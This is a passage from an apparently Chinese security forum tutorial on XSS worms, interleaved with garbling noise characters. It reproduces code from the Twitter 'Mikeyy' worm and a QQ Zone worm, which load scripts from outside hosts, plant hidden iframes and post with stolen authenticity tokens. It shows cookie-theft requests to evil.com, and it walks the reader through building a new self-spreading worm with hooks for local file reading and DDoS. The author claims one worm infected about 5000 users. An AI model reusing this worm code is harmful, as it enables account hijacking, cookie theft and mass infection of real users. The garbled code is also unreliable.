' e0 X/ D1 E8 hXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 F/ d0 P3 E. o4 s- J7 b
  |; J/ G0 E2 j; }XmlHttp.send(null);
$ D. o9 G, e4 {2 V
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
2 U5 q# e; A7 G) G  v
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


: q* B5 b  o/ Z0 |6 x
2 {  _, ?) @; P: RXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

# ~. I* ~* J, e, y, T+ {& w( p<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
. N- l- v0 E6 S6 ?/ \( S- P* C第一版:
& X" b! \* R: x$ t% X  下载 (5.1 KB)

7 H8 R" d: x! f* x" _6 天前 08:27

8 b6 E" [1 M" T2 k% N. P第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
3 k; d7 P4 \- T- t8 e
   2.   

  M5 X7 G$ w8 `9 g! s   3. function XHConn(){  
6 ]7 g; c# u: _9 \, _5 A
  p9 [, f: e. e- w4 Z$ ~9 e- e$ a   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
* z/ Y- A, e4 y& Q/ k( h
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
3 ~+ d2 |3 |6 X
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
1 }3 I/ f. \- k/ \
# Q6 S* f, H. k4 Y6 g) U+ G# X, \   8.   catch(e) { _0x6687x2=false; }; }; };  
/ w* I) N, S7 V复制代码第六版:   1. function wait() {  

3 d& u; R$ ]# b+ f- c   2.   var content = document.documentElement.innerHTML;  
' h- f- S( F6 s8 t, G
   3.   var tmp_cookie=document.cookie;  

* e  f2 e8 ?* X& u6 x   4.   var tmp_posted=tmp_cookie.match(/posted/);  
* Y& k- |$ c7 ?$ L
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

8 w: ^) e: c; |% t( M+ `   6.   var authtoken=authreg.exec(content);  

) D. p0 \( k' {. \( y   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

& E( w3 x+ L8 S/ F; K! U. |* f0 O4 ^   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
0 t( @) [* B; E
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
" U' Q* i  {+ B, ~
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

: ^) R" n! Y* z: h% [( h* `  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

: G6 y8 J" K2 c  ]2 k  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

& ~& e/ C3 F& I6 W  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

/ B' o* p8 a, I0 c  m. P2 v6 o( C  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

3 |2 v& M; O! w8 E6 `, u% B  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
* m! F* o4 V+ [; @0 ?3 _
% y4 m9 t2 u5 X8 S3 h. m  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

% C4 l9 W0 I! r# r7 V  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
9 V- K6 ~7 f& B
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

' _- W) ?) G2 i" u8 p! g  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
& f2 V. _6 d: }
# u8 o& M0 `# N% p0 Z  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

& t+ ~1 |/ O( V1 D, q% |. U  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
! h3 @3 Q, s6 \4 |  i
7 O; b$ g- T% o  30.   var _0xf81bx1c="Mikeyy";  
& v4 ]# o# r) k: u5 h1 |
  31.   var updateEncode=urlencode(_0xf81bx1c);  
% L- }- R* k! Z! {
8 k5 N, d. @* l1 ^! A1 N  32.   var ajaxConn1= new XHConn();  
) a2 }" t5 a, M8 I
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

0 y0 B6 v3 I, m  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
* i" ^4 e  l4 G
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

( B' i: f, V3 `" g7 v  38.     

# {& b1 C+ v- s  `  39. } ;  

9 f% R* Z, @5 {! t! U/ ]  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
8 M7 O1 t5 E& {! m/ V
! r6 t4 b! u1 }8 _0 u* Z% e

var shendu;shendu=4;
8 ~) K7 L  K: [) M
' [4 G  E7 w9 A# d1 n, Z//---------------global---v------------------------------------------

7 ^0 Z# n; {. C, o! R//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

7 h# a. N$ r, d2 w% x' Fvar myblogurl=new Array();var myblogid=new Array();
: q: H7 M, E7 o# n
4 ~: S/ s) `8 O  v% [$ ]1 t* ]        var gurl=document.location.href;

6 R% t8 {' h# }( N4 E        var gurle=gurl.indexOf("com/");
" w7 G" N7 I2 u. e. f
9 }5 W/ w# b* A2 A" A4 Z, C        gurl=gurl.substring(0,gurle+3);        
: F& D9 T8 e) b. p+ r
8 A9 _5 F: Y2 p; _        var visitorID=top.document.documentElement.outerHTML;

' F, |1 G4 [/ ^7 J6 h) T           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
: B$ M# C' }" c3 |% [
        cookieS=visitorID.indexOf(",");
3 _  E, T% C# Y7 ~6 c3 o1 o
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
: e; J( r7 H( f( s- V( {/ A* w
5 w- u6 @5 S6 h6 P" g        DOshuamy();
9 w2 [+ {2 j1 Z& W: j- |3 C
. ?$ O" O/ F" {

" o, T: u, V3 T# p- @3 b+ ]  z1 K7 a//挂马

+ J! ~+ N- j  h9 nfunction DOshuamy(){

var ssr=document.getElementById("veryTitle");

6 }5 N3 \! f+ mssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

  b# e) j3 ~. F: l' ?}

/ i& A5 Z! I6 e2 ]

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
' }3 H* b" e7 l5 x* R  K
0 x  K9 U4 L" _6 M  f   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
7 z2 m* ]: J' o8 d2 v6 ]+ G- l1 M; U0 d
   if(xhr){    //成功就执行下面的

  e: K9 J& {! S+ Y- q     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
7 ^; x' `% B1 y' w/ ?% U
- i$ ?  W: e. j: E9 I     xhr.send();guest=xhr.responseText;

- C: `5 ?7 K! m0 b     get_my_blogurl(guest);    //执行这个函数

5 U6 M1 ?5 i0 G% R    }
7 |  U! j+ `( x% g+ S
9 {# I# z9 Y. H8 I+ i$ ?4 l}
8 e) c5 ?0 B6 Y$ d  f


//这里似乎是判断没有登录的
% [! Z$ {* B0 D( U; b  n# v
, R# @$ d- L3 x& `3 P! l# Kfunction get_my_blogurl(guest){
9 T1 [% _, N. c
  var mybloglist=guest;

  var myurls;var blogids;var blogide;

( F& w7 W( @& R, }$ m  for(i=0;i<shendu;i++){
! l0 V7 r( k& X  j( O$ W% B( m2 o+ z. `
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

; e9 F2 X8 e4 m+ @     if(myurls!=-1){    //找到了就执行下面的
6 A3 [8 N) s, Z+ N6 h" M
         mybloglist=mybloglist.substring(myurls+11);

% v( e+ C5 @' @6 q  E: |         myurls=mybloglist.indexOf(')');
0 C2 V& j- x+ G1 h5 `' |
$ h( o" m8 F8 P. c, P0 {; p         myblogid=mybloglist.substring(0,myurls);

5 q4 M" i+ g3 e( c! S2 K* c. w1 p        }else{break;}
: g" f. ~: }' m) V$ s
}

get_my_testself();    //执行这个函数
2 A) f$ z: a. O: T. F
}

' \/ O" [2 H: z8 S* q. s4 T/ E" Z
" M8 Q$ o  L6 t  _) K- C9 v
6 ?# B. l% }+ P/ N//这里往哪跳就不知道了

9 Z4 J2 Z# I8 e$ W; O7 Xfunction get_my_testself(){

% l# C+ }! O7 L; J+ S  for(i=0;i<myblogid.length;i++){    //获得blogid的值
; s' v  V9 o# p3 @
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
9 e! N. u2 t" S
  g) ^  C$ ]5 y" I% H  E  |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
. C( d" _9 v  |4 M6 p' L( C
      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
4 M! U  C  M3 E& x" I7 h
2 V8 Z# Y& @" z- n) ]              xhr2.send();
# y3 G3 ^0 w. K2 m/ o
+ K, U+ T! D9 W, D, |              guest2=xhr2.responseText;

7 |; k$ Q- s, K- k) _) t              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
' ^: b. r# b7 h5 S. p2 ]" [
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
. q8 x3 k: U$ O- R! n
0 M1 S1 t* }. T, b' [' J) P. n              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
$ X4 C9 D2 e) H+ _: C7 T
, ]) z, n1 E4 V- V/ M/ O                targetblogurlid=myblogid;   
, J) U9 n8 O, A) a; M/ S
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

/ X5 P, X! f8 V                break;
# T5 B2 S# }! r! K+ H
               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
' K8 ^6 i7 @3 Q7 J
# V' f* X; V$ A( W4 }, Q( f                add_js(visitorID,targetblogurlid,gurl);    //执行它
  i  D. h9 d4 n- I1 s+ W1 X' B
                break;

# T, h) v0 B: s; f* o               }

  v2 |! d) a( k0 M3 j8 k- b; f. Q. R        }      
8 Y+ c8 U6 O/ `3 [/ P
}

}
! m- J) Q; o0 L6 K
  J2 o  `' b8 @# `2 W* p& k/ ^" }
2 V' h5 `. X; ~' P2 f# T- o
! V/ W6 r" `$ o, J! w3 }7 l& Z8 p//--------------------------------------  

- g$ i; D/ P, w7 W" i1 _//根据浏览器创建一个XMLHttpRequest对象
6 {  o- `% Z3 M2 `; I3 D" \
+ B! O% J( a8 H8 l1 Xfunction createXMLHttpRequest(){
  o# v" j$ B: k
6 ]7 f' T7 h! o7 X    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
# O8 f+ v3 Z" m/ q5 }/ v, [
% k2 o/ k, k( ?/ L& r0 Z: ^    else  
6 d3 L( W. ?  E  d/ b- W: C6 i( {
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

9 e; l# \" R5 C        for(var i=0;i<MSXML.length;i++)  

. k( ?' A+ i, J" K$ X, b1 q" f7 c        {  

1 H" ~! |9 G/ L            try  

; b: _  M" V7 O% F            {  

$ i) I0 U+ P% P& S3 Q                XMLhttpObject=new ActiveXObject(MSXML);  
+ F- i! y$ t- }) n+ o. ?! v( `, z9 q' l
                break;  

% K+ u" ^( _7 v            }  

9 f& n+ ]4 u" X8 ^            catch (ex) {  

/ |5 O+ @' t) c% ~+ u# _            }  

         }  
! n1 W+ A% B8 Z  j2 h7 _9 C
4 k" O5 K7 r) t! Y  G3 [3 m# \! Y4 {      }

% {8 y' L9 b5 Q5 Greturn XMLhttpObject;

$ x$ [! Z) v1 g, \* c, s}  



//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

6 f; u' J! a8 y7 Uvar s2=document.createElement('script');
# ]3 J5 a* O6 G! S" F. R
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
0 V$ O, b* }" X9 E1 I
  H! a; g, h( r0 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);

% k$ _8 n3 T0 d* `6 G}

& S* e4 q1 b" [! h, V9 W* ^

2 M: [7 L9 [' o% [3 J- ifunction add_jsdel(visitorID,targetblogurlid,gurl){
5 ]; K3 i+ z# W0 `& P2 P
0 h9 l7 ?. e* m, evar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

8 G# O% p8 b" T5 |document.getElementsByTagName('head').item(0).appendChild(s2);
6 i3 x6 T2 Q8 l8 \+ M5 N/ s
}
+ w+ t* z8 [$ e/ Z% W% M- w4 H复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
& ]& {! Y$ \2 B4 ^/ I4 S% a1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
9 X) w4 E/ d1 d
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
  h+ {' a; H! D& ]; p) {: N# f0 s; N

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 A5 K) E% n) n4 t- q" j: H
3 x: ?; T' W4 s" s首先,自然是判断不同浏览器,创建不同的对象var request = false;
+ p1 G# @6 k, Y3 V" X* N" A
if(window.XMLHttpRequest) {

request = new XMLHttpRequest();
( P. S8 M" z& {* ^
! K6 t9 e0 w) y6 ^+ H  dif(request.overrideMimeType) {

request.overrideMimeType('text/xml');

# O- ^4 r1 w, W  U6 H7 |}

. M5 r- _9 \  X7 @5 Y% W8 D} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

8 Y' g  w0 r& s) C( P4 ~" n0 x& x* Mrequest = new ActiveXObject(versions);
+ f# Q6 E' y' N
% C) h' ~1 i( j} catch(e) {}

}
, L5 j6 s3 }- S) k7 Z( v
. G% ]+ u6 p* P' x8 f}

7 j6 U+ j$ b0 {  uxmlHttpReq=request;
6 ~# ?/ h& B. j+ ]复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

+ O4 a0 s9 E0 s; L6 a. ~        var Browser_Name=navigator.appName;
, N/ Z& s) z7 c9 Q2 U2 b/ f
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
' f1 R8 b) h) N/ H$ H
% ~1 n3 x7 |5 _( K$ D/ m7 C& X5 U  I, S# v) c        

) k% v& v% ~, ]0 S" Z) N7 ?8 B        var Actual_Version,Actual_Name;
) j$ |, u4 X( I0 a$ h* h! ]+ a
        
* T, _7 n7 K  n
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
- J2 N. h0 O5 H
" V$ m! A3 w2 Z1 k( L* u        var is_NN=(Browser_Name=="Netscape");
5 H$ a7 [+ v( l7 u/ |1 a
/ O6 E  y+ @: _0 m7 g6 G( S4 H        var is_Ch=(Browser_Name=="Chrome");
+ v" f8 d  ?! x  B! R+ E4 |) x7 L
  F! @3 x+ `' `/ z0 R9 X' r3 S        
! Z$ K# i6 e, ]' N! a. K  c
        if(is_NN){

( B9 m( X4 @0 |2 ?% ^) `            if(Browser_Version>=5.0){

: F8 ?, I; ?8 k- G0 B1 R5 a" a                var Split_Sign=Browser_Agent.lastIndexOf("/");
" Y6 c% x5 v; z  e$ ]- E
2 Q1 s/ _1 K& V# }3 Y                var Version=Browser_Agent.indexOf(" ",Split_Sign);
3 m4 [; i( f# v6 f; d6 v6 V9 c
( j5 J0 n: H* T% M7 W' Z# h                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
) L6 q8 _+ J5 f! V+ _/ m


* d- I  V9 R* c6 M                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
% u- Y7 J) h( ^
& z% R( e! g! M# q+ S; k                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

8 @5 y' t( u% q% z; o" [( u            }

& b) G$ m4 A6 H# j5 V            else{
( r1 l0 X  P( t3 u
                Actual_Version=Browser_Version;

  Z( x* K! `! `; r2 H& G                Actual_Name=Browser_Name;

            }
/ Z; @+ e: {* C8 Z7 p% c
, Y' z, ?2 M# a        }
' E* B" Q4 A# N' H& ?& V2 j$ h9 M$ ~  j
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

. V; G% @/ f0 z+ l; ]" H$ `% j            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 |9 v+ w8 K3 _0 N
0 }" [8 i9 w0 }! x1 T5 S& @4 Z0 Q$ T3 x            Actual_Name=Browser_Name;
4 k8 b4 E) ?+ O# ~0 s: d2 z' M
            
) a7 y, M) R: h" H6 L3 b- Y
            if(Browser_Agent.indexOf("Maxthon")!=-1){
% Q% e+ Q9 Z( q8 \
; U8 r3 Y1 G; P5 \/ E8 g; U6 t7 J                Actual_Name+="(Maxthon)";

. Z' d! _: z2 A5 _5 r            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
! _; L2 L. L7 Z8 k; ^
                Actual_Name="Opera";

& Q# _$ y7 q% z  l9 Q                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
/ C( r! G: [' k3 T& z+ o, N5 j
$ q  X, W( x8 U) h% t# x                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

" ?/ M- Q) Q6 g! I5 n            }
4 T1 K, }1 n$ k
        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 n/ O7 m: m+ V  o7 ^9 g" I' e! {
3 q& _- q( f% }# Z6 Q& H* A$ o            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

, w/ k. `9 F. c9 y7 m            Actual_Name=Browser_Name;

            
5 ], @0 J9 X. k0 P: x* F
& H& ~! ~+ s2 M8 k) t% l            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
% g/ V/ O$ p* M, O) g$ G5 r
/ w  e9 A4 a- Q) q            }

, _9 Q6 v6 q5 _# I            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
& k" v4 ^" z) W. b
                var tempstart=Browser_Agent.indexOf("Opera");
8 C; k3 d- j! r
                var tempend=Browser_Agent.length;
- |- E! t* v( Z: w5 m
1 K6 i, y; m2 T1 ]                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
) L  k5 V5 E5 v0 A/ a6 }9 _5 [
  t' X5 y6 j4 W& n3 K( b        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }
$ V. E+ i. y; d8 i- a% o

5 i0 m' C; a2 t6 E
        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
  c1 o" c/ K  G' |0 q! V
/ n) U; l$ _# I" ]- ?9 ^1 R1 c        

5 H( W% k, \7 B/ ^  R        this.Name=Actual_Name;

        this.Version=Actual_Version;
+ O1 [) U7 g3 N! ]0 ~
3 W8 Z  B, y/ U7 d0 Y# @    }
5 p+ R! q0 L. l# _# g  Z
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
3 _' e" ?% O& k# V& x  C
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

; ~$ k9 i. @5 B7 ^    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
# P( P- m' x% ^, l, G  G7 W2 U复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
6 f! A7 p/ e7 m& s0 M7 r复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
+ v9 L- H4 y. c$ O6 u. o
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

2 K" C8 k& y/ M8 o6 ]- e9 _var id=0;var result;
( P6 f2 ?4 }9 A# U: }6 e1 j. j% [8 [
$ T" |# E5 z. P! c1 g. Ovar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ h" @1 F9 o8 o8 z4 ^% f
while ((result = patt.exec(resource)) != null)  {

id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
8 ?2 \' n5 B8 N9 O9 o
no=resource.search(/my name is/);
* b! p) d  J; y/ e  n: X, u0 n
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
/ L. {' b; a& P' B2 a6 ~6 }
/ a) x, l7 H3 \xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
' r4 G% ]+ t( W- L/ T" \
9 L* m! i9 |; u7 ?1 MxmlHttpReq.setRequestHeader("content-length",post.length);
. R. v8 Y1 m4 M6 N) M  Y$ h
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 o2 ]$ h  U) M2 t& x2 uxmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
% _3 {% H5 t2 Y8 w. _% w- J
" C6 \6 ?' }2 yvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
- {# g: D8 N6 ^0 d
3 i" }1 [5 c' a6 A2 H! `0 cvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

+ |( ]6 y, M4 l8 D9 X' nvar post="wd="+wd;

; y  I6 v) @. bxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
5 a9 e$ X% A; e! P, a0 p# d
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 x2 m7 R% F# L" E! |; S
xmlHttpReq.setRequestHeader("content-length",post.length);
8 d9 E/ i( L. n$ P7 f, F
6 ?- }% t7 |7 X. A8 uxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
6 x8 V: J. r* v' I) k
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
( E7 l; G& u: d1 D
' d$ d' s! U( r" h- P) X& s

- K2 I; f! T: O* q, @1 G本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
: ^7 ?! e9 x! Y8 f$ F- u操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

8 T1 G  Q* s; e1 S
6 x' r/ R5 Z1 e
) G$ r( S7 U; E0 Z) J

* g( T- @' ?( D+ C
* p! L& ~6 A. b# \" M3 G

$ E3 k9 o* {. d4 Q; F+ ?本文引用文档资料:

+ G) m4 a/ A/ k( S9 H, r- n"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
  R1 y9 V$ ]" H: Ihttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
8 r$ W( ^: x+ c空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
- u5 {, |5 e4 s  l: E+ p